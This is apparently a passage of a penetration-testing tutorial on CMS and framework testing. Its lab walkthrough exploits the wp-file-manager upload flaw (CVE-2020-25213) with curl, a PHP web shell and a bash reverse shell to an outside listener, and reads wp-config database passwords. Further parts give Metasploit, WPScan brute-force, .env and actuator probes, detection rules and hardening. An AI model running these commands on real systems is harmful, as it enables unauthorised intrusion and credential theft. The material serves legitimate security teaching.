/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpelFinder’s upload command accepts a file and writes it into lib/files/. Because there is no auth check and no extension filtering on the connector, an attacker uploads a .php file directly into a web-served directory. That is the entire vulnerability: an unauthenticated file-upload primitive pointed at a web-executable path.
sequenceDiagram
participant A as Attacker
participant C as connector.minimal.php (no auth)
participant FS as lib/files/ (web-served)
A->>C: POST cmd=upload&target=... (multipart shell.php)
C->>FS: write shell.php (no extension filter)
C-->>A: JSON {added:[shell.php]}
A->>FS: GET /lib/files/shell.php?cmd=id
FS-->>A: uid=33(www-data) gid=33(www-data)
Step 3 — Confirm the connector is reachable
Section titled “Step 3 — Confirm the connector is reachable”curl -s "http://10.10.10.50/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \ | head -c 200A JSON error like {"error":["errUnknownCmd"]} confirms the endpoint is alive and processing commands (rather than 404/403) — a good pre-exploit sanity check.
Step 4 — Upload a benign proof first (non-destructive)
Section titled “Step 4 — Upload a benign proof first (non-destructive)”Before dropping a full shell, prove upload works with a harmless PHP marker:
# Create a tiny, benign proof fileecho '<?php echo "poc-".gethostname(); ?>' > poc.php
curl -s "http://10.10.10.50/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \ -F "reqid=17264b1b1a9c2" \ -F "cmd=upload" \ -F "target=l1_Lw" \ -F "upload[]=@poc.php" | jq .Realistic response:
{ "added": [ { "name": "poc.php", "hash": "l1_cG9jLnBocA", "mime": "text/x-php", "url": "/wp-content/plugins/wp-file-manager/lib/files/poc.php" } ]}Fetch it:
curl -s "http://10.10.10.50/wp-content/plugins/wp-file-manager/lib/files/poc.php"# → poc-wp-lab-hostPHP executed. Impact proven with zero damage — this is the shot you put in a bug report.
Step 5 — (Lab only) escalate to an interactive shell
Section titled “Step 5 — (Lab only) escalate to an interactive shell”In your own lab you can go further to understand full impact. Upload a minimal command-runner:
echo '<?php system($_GET["c"]); ?>' > cmd.phpcurl -s "http://10.10.10.50/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \ -F "cmd=upload" -F "target=l1_Lw" -F "upload[]=@cmd.php" >/dev/null
curl -s "http://10.10.10.50/wp-content/plugins/wp-file-manager/lib/files/cmd.php?c=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s "http://10.10.10.50/wp-content/plugins/wp-file-manager/lib/files/cmd.php?c=cat+/var/www/html/wp-config.php" \ | grep DB_PASSWORDThen upgrade to a reverse shell (start a listener, trigger a connect-back):
# Attacker: listenernc -lvnp 4444
# Trigger a bash reverse shell via the uploaded runner (URL-encoded)curl -s "http://10.10.10.50/wp-content/plugins/wp-file-manager/lib/files/cmd.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/4444+0>%261'"Listener catches:
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.50] 51234www-data@wp-lab:/var/www/html/wp-content/plugins/wp-file-manager/lib/files$ iduid=33(www-data) gid=33(www-data)Step 6 — Same bug via Metasploit (teaching the module workflow)
Section titled “Step 6 — Same bug via Metasploit (teaching the module workflow)”Metasploit ships a module for this exact CVE. Using it teaches the general “known-CMS-vuln via Metasploit” pattern you will reuse constantly.
msfconsole -qmsf6 > search wp_file_manager
Matching Modules================ # Name Rank Description - ---- ---- ----------- 0 exploit/multi/http/wp_file_manager_rce normal WordPress File Manager Unauthenticated RCE
msf6 > use exploit/multi/http/wp_file_manager_rcemsf6 exploit(...) > set RHOSTS 10.10.10.50msf6 exploit(...) > set RPORT 80msf6 exploit(...) > set LHOST 10.10.14.2msf6 exploit(...) > check[+] 10.10.10.50:80 - The target is vulnerable.msf6 exploit(...) > run
[*] Started reverse TCP handler on 10.10.14.2:4444[+] Uploaded payload to /wp-content/plugins/wp-file-manager/lib/files/xxxx.php[*] Meterpreter session 1 openedmeterpreter > getuidServer username: www-dataAlways run check first. A good Metasploit module verifies the version/behaviour before firing — the same version-range discipline from Part 8, automated. check returning “vulnerable” is your safe go/no-go.
Step 7 — Clean up (mandatory)
Section titled “Step 7 — Clean up (mandatory)”You uploaded files. Remove every artefact you created — poc.php, cmd.php, any Metasploit payload — and note them in your report so the owner can verify. Leaving a live web shell on a target is a serious breach of ethics (and, on a live engagement, of contract and law).
# Via the same connector's rm command, or manually in the lab:rm /var/www/html/wp-content/plugins/wp-file-manager/lib/files/{poc,cmd}.phpPart 10: Framework-Level Testing Beyond CMSes
Section titled “Part 10: Framework-Level Testing Beyond CMSes”Not every target is WordPress/Joomla/Drupal. Custom apps sit on frameworks whose own defaults and debug features are frequent findings. The fingerprint-then-known-issue loop still applies.
Common framework fingerprints and their classic bugs
Section titled “Common framework fingerprints and their classic bugs”| Framework | Fingerprint | Classic finding |
|---|---|---|
| Laravel (PHP) | laravel_session cookie, X-Powered-By, /telescope | Debug mode (APP_DEBUG=true) → Ignition RCE (CVE-2021-3129); leaked .env; /telescope data exposure |
| Django (Python) | csrftoken cookie, X-Frame-Options defaults | DEBUG=True stack-trace pages leaking settings/env; admin at /admin/ |
| Rails (Ruby) | _session_id cookie, X-Runtime header | Old secret-key deserialization RCE; /rails/info; mass-assignment |
| Spring (Java) | JSESSIONID, whitelabel error page | Actuator endpoints (/actuator/env, /heapdump) leaking secrets; Spring4Shell (CVE-2022-22965) |
| Express (Node) | X-Powered-By: Express | Prototype-pollution libs; exposed source maps |
| Flask (Python) | Werkzeug debugger /console | SSTI in Jinja2; the interactive debugger PIN-bypass → RCE |
The .env and debug-page pattern
Section titled “The .env and debug-page pattern”The single highest-yield framework check: request the environment file and common debug/console paths.
for p in .env .git/config config.php.bak /telescope /actuator/env \ /debug/default/view /_profiler /server-status; do echo "== $p =="; curl -s -o /dev/null -w "%{http_code}\n" "https://target.example/$p"doneA 200 on /.env frequently leaks APP_KEY, DB creds, mail creds, and third-party API tokens — a critical finding with zero exploitation required. A reachable Spring /actuator/heapdump can be mined for session tokens and secrets. These are known-issue checks in the same spirit as CMS CVE mapping: the framework has a well-documented dangerous default, and you are checking whether it was left on.
SSTI quick-probe (framework template engines): inject ${7*7}, {{7*7}}, <%= 7*7 %> into reflected inputs; a rendered 49 signals Server-Side Template Injection, which in Jinja2/Twig/Freemarker often chains to RCE (covered depth-first in the injection notebook’s SSTI chapter — here it is one more framework fingerprint tell).
Part 11: Automating CMS Testing at Scale with Nuclei
Section titled “Part 11: Automating CMS Testing at Scale with Nuclei”When you are hunting across many hosts (a wildcard bug-bounty scope, an org’s whole estate), you want templated, version-aware checks rather than hand-running WPScan per host. Nuclei is the standard.
Nuclei from scratch (for CMS work)
Section titled “Nuclei from scratch (for CMS work)”What it is: nuclei (ProjectDiscovery) is a fast, YAML-template-driven vulnerability scanner. Its community template library includes thousands of CMS fingerprints, exposure checks (readme, config backups, debug pages), and specific CVE checks for WordPress plugins, Joomla components, and Drupal.
Install and update templates:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latestnuclei -update-templatesCMS-focused runs:
# Fingerprint + tech detection across a host listnuclei -l hosts.txt -t http/technologies/ -o tech.txt
# Run only WordPress plugin CVE templatesnuclei -l hosts.txt -tags wordpress,wp-plugin -severity high,critical
# Exposure/config-leak checks (readme, .env, config backups)nuclei -l hosts.txt -t http/exposures/ -t http/misconfiguration/
# A specific CVE templatenuclei -u https://target.example -id CVE-2020-25213| Flag | Meaning |
|---|---|
-l FILE / -u URL | List of hosts / single URL |
-t PATH | Template file or directory |
-tags | Filter templates by tag (wordpress, joomla, drupal, cve) |
-severity | Filter by severity (critical,high) |
-id | Run a template by its ID |
-rl N | Rate limit (requests/sec) — be polite |
-o FILE | Output results |
Realistic output:
[CVE-2020-25213] [http] [critical] http://target.example/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php[wordpress-detect] [http] [info] http://target.example ["6.2.1"][wp-xmlrpc] [http] [info] http://target.example/xmlrpc.php[.env-detection] [http] [medium] http://staging.target.example/.envBug-bounty workflow: pipe subfinder→httpx→nuclei -tags wordpress,exposures to sweep an entire scope for outdated-CMS and config-leak issues, then hand-validate every “critical” before reporting. Nuclei finds candidates fast; humans confirm impact and stay in scope.
flowchart LR
S[subfinder: subdomains] --> H[httpx: live hosts + tech]
H --> N[nuclei: CMS CVE + exposure templates]
N --> V[Manual validation + version-range check]
V --> R[In-scope PoC + report]
Part 12: Detection & Defense Angle
Section titled “Part 12: Detection & Defense Angle”Everything above is offense. This consolidated section is what a defender or blue-teamer does about it — and what you write in the “remediation” half of a bug report.
Detecting CMS attacks
Section titled “Detecting CMS attacks”CMS attacks have loud, recognisable signatures in logs and telemetry:
- Enumeration bursts: hundreds of 404s to
/wp-content/plugins/*/readme.txt,/administrator/components/*, or/?author=Nsequences in seconds = WPScan/JoomScan/droopescan. Alert on high 404 rates from a single source and on requests toreadme.txt/CHANGELOG.txt/.env. - xmlrpc abuse: repeated
POST /xmlrpc.phpwithsystem.multicallbodies, orpingback.pingto external URLs = brute amplification or SSRF. Log request bodies forxmlrpc.php. - Upload-to-web-shell: a
POSTthat writes a.phpintowp-content/uploads/or a plugin’slib/files/, immediately followed by aGETto that new file with query params, is the classic upload-RCE fingerprint. File-integrity monitoring onwp-content/catches new PHP files. - Known-exploit request shapes: Drupalgeddon2’s
element_parents=account/mail/%23valueand#post_renderarray keys are trivially signatureable; File Manager’sconnector.minimal.php?cmd=uploadlikewise.
| Signal | Where to watch | Rule of thumb |
|---|---|---|
| Plugin/theme path 404 storm | Web access logs | >50 404s/min from one IP → scanner |
readme.html/CHANGELOG.txt/.env requests | Web logs / WAF | Alert + block; these are never legit for users |
New .php in uploads/plugin dirs | FIM (AIDE, Wordfence, Tripwire) | Any new PHP under wp-content/uploads = incident |
POST /xmlrpc.php volume | Web logs | Disable xmlrpc if unused |
| Reverse-shell egress | EDR / netflow | www-data making outbound TCP to odd ports |
Defending a CMS (the remediation checklist you cite in reports)
Section titled “Defending a CMS (the remediation checklist you cite in reports)”- Patch relentlessly. 90%+ of CMS compromise is known vulns in unpatched core/plugins. Enable auto-updates for core and plugins; subscribe to plugin advisories (Wordfence, WPScan, Drupal SA-CORE, Joomla announcements).
- Minimise the plugin surface. Every plugin is attack surface. Remove unused and abandoned plugins (no update in 12+ months = liability). Prefer well-maintained, widely-reviewed plugins.
- Kill the easy leaks. Delete
readme.html/CHANGELOG.txt, disable directory listing, block access towp-config.php/configuration.phpbackups, restrict/wp-json/wp/v2/usersto authenticated requests, and disablexmlrpc.phpif unused. - Harden uploads. Configure the web server to not execute PHP in
wp-content/uploads/(and any user-writable dir). This single control neutralises most upload-to-RCE chains even when the upload bug exists:# In wp-content/uploads/.htaccess (or nginx equivalent)<FilesMatch "\.(php|phtml|php3|php4|php5|phar)$">Require all denied</FilesMatch> - Least privilege + strong auth. Enforce 2FA on admin accounts, use unique strong passwords (defeats WPScan brute-force), rename/limit
/wp-adminexposure, and lock out or rate-limit login attempts. - WAF + virtual patching. A WAF (Wordfence, ModSecurity + OWASP CRS, Cloudflare) can virtually-patch a plugin CVE the day it drops, buying time before the real update — critical given the hours-to-mass-exploitation window seen with Drupalgeddon2.
- Monitor file integrity. Any new/modified PHP under
wp-content/should page someone. Wordfence,wp-cli’swp core verify-checksums, and AIDE all do this.
# Blue-team quick check: verify core files match official checksumswp core verify-checksumswp plugin verify-checksums --allA mismatch here means a core/plugin file was modified — often a planted backdoor — and is a high-signal indicator of compromise.
Part 13: Ethics, Scope, and Staying Legal
Section titled “Part 13: Ethics, Scope, and Staying Legal”CMS testing is unusually easy to take too far, because working public exploits are one searchsploit -m away. Discipline matters:
- Authorisation first. Only test systems you own or have explicit written authorisation to test (a signed engagement, or an in-scope bug-bounty asset per the program’s policy). Fingerprinting someone’s public site is generally low-risk, but running an exploit against it without authorisation is a crime in most jurisdictions (CFAA, Computer Misuse Act, etc.).
- Read the program scope every time. Many bug-bounty programs exclude “outdated software without a working, in-scope PoC,” exclude WordPress core while accepting plugin bugs, and prohibit brute-forcing, DoS, and destructive actions. A version banner is usually informational; a working exploit chain is critical — but only if in scope.
- Non-destructive proof. Prove impact with the smallest possible action:
id/hostnamefor RCE, reading a benign marker for file-read, a single test account for auth bypass. Never dump customer data, plant persistent backdoors, or pivot beyond the authorised host. - Clean up. Remove every file, account, and artefact you create, and list them in your report.
- Report responsibly. Clear title, affected version, reproduction steps, evidence (request/response, screenshots), CVSS, and remediation (patch to version X, remove plugin, add the uploads
.htaccess).
Malware, mass-exploitation tooling, and persistence techniques stay conceptual and lab-scoped in these notes. The goal is to find and fix these bugs, not to weaponise them against non-consenting targets.
Final Revision / Summary
Section titled “Final Revision / Summary”- A CMS is prebuilt, open-source, mass-deployed web software; that makes it a target-rich environment because version strings leak, source is auditable (patch-diffing), and the plugin/extension ecosystem — not the core — holds most exploitable bugs.
- The universal loop is Detect → Fingerprint → Enumerate → Map to CVE → Validate → Exploit → Report. Tools change per platform; phases never do.
- Fingerprint passively first (meta generator, asset paths, cookies, headers,
readme.html/CHANGELOG.txt) withwhatweb/CMSeeK; escalate to platform scanners. - WPScan is the WordPress workhorse:
--enumerate vp,ap,u,--plugins-detection aggressive, and an API token for vuln data. It also does user enumeration and (lawful) xmlrpc/wp-login brute force. - The REST API (
/wp-json/wp/v2/users) and xmlrpc.php (system.multicall,pingback.ping) are passive-to-active enumeration and abuse surfaces. - JoomScan (Joomla) and droopescan (Drupal, best-in-class) mirror the WPScan workflow; version leaks from
language/en-GB/en-GB.xml(Joomla) andCHANGELOG.txt/droopescan (Drupal). - Drupalgeddon2 (CVE-2018-7600) is the archetype: detect version-below-patched, send one known request, get unauth RCE — patch cadence is the only real defence.
- Turning a version into an exploit: WPScan DB / Wordfence Intelligence / Exploit-DB (
searchsploit) / NVD / vendor advisories, then vet the PoC (read it, check destructiveness, confirm version range, prefer a benign check) before running it in scope. - The worked lab chained wp-file-manager 6.8 → CVE-2020-25213 → unauthenticated upload → web shell, first with a benign PoC, then (lab only) a shell, plus the equivalent Metasploit module with a mandatory
check. - Beyond CMSes, frameworks leak via debug mode,
.env, Spring Actuator, Flask/Jinja SSTI — the same “known dangerous default” checks. - Nuclei templates scale CMS + exposure checks across whole scopes; humans validate.
- Defense: patch, minimise plugins, kill leaks, forbid PHP execution in upload dirs, enforce 2FA/rate-limiting, WAF virtual-patching, and file-integrity monitoring.
Cheat Sheet / Quick Reference
Section titled “Cheat Sheet / Quick Reference”Fingerprinting
whatweb -a 3 https://target.examplepython3 cmseek.py -u https://target.examplecurl -s https://target.example | grep -i generatorcurl -sI https://target.example | grep -iE 'x-generator|x-powered-by|link'WordPress (WPScan)
wpscan --updatewpscan --url https://t --api-token TOKEN # baseline + vulnswpscan --url https://t -e vp,ap,tt,cb,dbe,u1-30 \ --plugins-detection aggressive --random-user-agent # deep enumwpscan --url https://t -e u # users onlywpscan --url https://t -U admin -P rockyou.txt \ --password-attack xmlrpc # lawful brutecurl -s https://t/wp-json/wp/v2/users | jq '.[].slug' # REST user enumJoomla / Drupal
joomscan --url https://t --enumerate-componentscurl -s https://t/language/en-GB/en-GB.xml | grep -i version # Joomla versiondroopescan scan drupal -u https://tcurl -s https://t/CHANGELOG.txt | head -5 # Drupal 7 versionVersion → Exploit
searchsploit -u # update local Exploit-DBsearchsploit wordpress file manager # searchsearchsploit --cve 2020-25213 # by CVEsearchsploit -x php/webapps/49178.py # READ before runningsearchsploit -m 49178 # copy locallyScale
nuclei -update-templatesnuclei -l hosts.txt -tags wordpress,joomla,drupal -severity high,criticalnuclei -l hosts.txt -t http/exposures/ -t http/misconfiguration/Framework known-issue probes
for p in .env .git/config /telescope /actuator/env /actuator/heapdump \ /_profiler /server-status /rails/info; do curl -s -o /dev/null -w "$p %{http_code}\n" https://target.example$p; doneDefense one-liners
wp core verify-checksums # detect modified core fileswp plugin verify-checksums --all# Deny PHP in uploads (Apache):printf '<FilesMatch "\\.ph(p[3457]?|t|tml|ar)$">\nRequire all denied\n</FilesMatch>\n' \ > wp-content/uploads/.htaccessCommon pitfalls
- Running WPScan against a non-WordPress site (wrong tool → wasted time). Fingerprint first.
- Trusting a
readme.txtversion banner when the site auto-updated the vulnerable file — confirm behaviour, not just the banner. - Running an exploit outside the vulnerable version range (noise, no result). Check the range.
- Executing an unread public PoC — may be destructive or backdoored. Read it first.
- Brute-forcing or planting a public web shell on a live/in-scope target — ethics and legal violation; use benign proofs and clean up.
- Reporting a bare version banner as “critical” — most programs mark it informational without a working, in-scope PoC.
- Forgetting
--api-token, so WPScan shows plugins but no vulnerability data.
Practice Labs & Resources
Section titled “Practice Labs & Resources”Train each specific skill from this chapter:
- TryHackMe — “Blog”: a WordPress box vulnerable to the exact wp-file-manager (CVE-2020-25213) chain in the lab above — enumerate with WPScan, exploit the upload, get a shell, escalate.
- TryHackMe — “Wgel CTF” / “Ignite” / “Agent Sudo”: CMS/framework fingerprinting and known-vuln exploitation practice.
- TryHackMe — “CMSpit” and “Gallery”: CMS-specific exploitation (CMS Made Simple, custom CMS) — practises version→CVE mapping and SQLi/upload chains.
- HackTheBox — “Blocky”, “BlogFeeder”, “Tenten”, “Blunder”: WordPress/CMS entry vectors (Tenten = WordPress plugin CVE; Blunder = Bludit CMS auth-bypass + upload).
- HackTheBox — Drupal-based boxes: practise droopescan → Drupalgeddon → RCE.
- VulnHub — “Mr-Robot: 1”: a classic WordPress-centric boot2root — WPScan enumeration, xmlrpc/wp-login brute, plugin exploitation.
- PortSwigger Web Security Academy — File upload vulnerabilities & SSTI labs: reinforces the primitives (upload-to-RCE, template injection) that underlie CMS/framework RCEs.
- DVWA / bWAPP (File Upload modules): local, safe practice of the upload-to-web-shell mechanic before doing it against a full CMS.
- Docker WordPress + a deliberately old plugin: build your own target (as in the lab) to practise WPScan aggressive enumeration and the Metasploit
wp_file_manager_rcemodule end-to-end.
Reference feeds to bookmark: WPScan Vulnerability Database (wpscan.com), Wordfence Intelligence (wordfence.com/threat-intel), Exploit-DB (searchsploit), Drupal SA-CORE advisories (drupal.org/security), Joomla Security Announcements, and NVD/CVE Details for canonical CVSS and affected-version data.
You now have the full CMS/framework testing loop — detect, fingerprint, enumerate, map to a known vulnerability, vet the exploit, and demonstrate impact safely — plus the tooling (WPScan, JoomScan, droopescan, CMSeeK, searchsploit, Metasploit, Nuclei) to execute it on any of the platforms that run a third of the web. The next chapter continues the APIs & CMS notebook by building on this known-vulnerability tradecraft.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.